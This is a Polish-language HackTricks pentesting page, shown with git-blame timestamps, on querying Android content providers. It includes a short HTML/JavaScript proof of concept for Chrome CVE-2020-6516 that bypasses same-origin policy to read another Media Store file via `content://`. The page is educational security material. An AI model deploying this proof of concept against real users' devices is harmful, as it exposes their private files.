hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

102 lines
6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
**To jest streszczenie postu [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
### Wyświetlanie plików w Media Store
Aby wyświetlić pliki zarządzane przez Media Store, można użyć poniższej komendy:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2024-02-11 01:46:25 +00:00
Dla bardziej przyjaznego dla użytkownika wyjścia, wyświetlającego tylko identyfikator i ścieżkę każdego zindeksowanego pliku:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2024-02-11 01:46:25 +00:00
Dostawcy treści są izolowani w swojej własnej prywatnej przestrzeni nazw. Dostęp do dostawcy wymaga określonego URI `content://`. Informacje o ścieżkach dostępu do dostawcy można uzyskać z manifestów aplikacji lub kodu źródłowego frameworka Android.
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
### Dostęp Chrome do dostawców treści
Chrome na Androidzie może uzyskać dostęp do dostawców treści za pomocą schematu `content://`, co pozwala mu uzyskać dostęp do zasobów, takich jak zdjęcia lub dokumenty eksportowane przez aplikacje innych firm. Aby to zilustrować, można wstawić plik do Media Store, a następnie uzyskać do niego dostęp za pomocą Chrome:
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
Wstaw niestandardowy wpis do Media Store:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2024-02-11 01:46:25 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2024-02-11 01:46:25 +00:00
Odkryj identyfikator nowo wstawionego pliku:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file \
2024-02-11 01:46:25 +00:00
--projection _id,_data | grep test.txt
2024-02-05 02:29:11 +00:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
2024-02-11 01:46:25 +00:00
Plik można następnie wyświetlić w przeglądarce Chrome, używając adresu URL skonstruowanego z identyfikatorem pliku.
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
Na przykład, aby wyświetlić listę plików związanych z konkretną aplikacją:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
2024-02-11 01:46:25 +00:00
### Chrome CVE-2020-6516: Bypass Same-Origin-Policy
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
_Same Origin Policy_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcję stron internetowych z zasobami pochodzącymi z innych źródeł, chyba że jest to wyraźnie zezwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i podrobieniom żądań między stronami. Chrome traktuje `content://` jako lokalny schemat, co oznacza bardziej restrykcyjne zasady SOP, gdzie każdy adres URL z lokalnym schematem jest traktowany jako osobne źródło.
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
Jednak CVE-2020-6516 to podatność w Chrome, która umożliwia obejście zasad SOP dla zasobów ładowanych za pomocą adresu URL `content://`. W praktyce oznacza to, że kod JavaScript z adresu URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą adresów URL `content://`, co stanowiło poważne zagrożenie dla bezpieczeństwa, zwłaszcza na urządzeniach z systemem Android w wersjach wcześniejszych niż Android 10, gdzie nie było wdrożonego przechowywania z zasięgiem.
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
Poniżej znajduje się przykład wykorzystania tej podatności, gdzie dokument HTML, po przesłaniu go do **/sdcard** i dodaniu do Media Store, używa `XMLHttpRequest` w swoim kodzie JavaScript, aby uzyskać dostęp i wyświetlić zawartość innego pliku w Media Store, omijając zasady SOP.
2021-05-04 11:44:49 +00:00
2024-02-11 01:46:25 +00:00
Przykład HTML:
2024-02-05 02:29:11 +00:00
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
2024-02-11 01:46:25 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>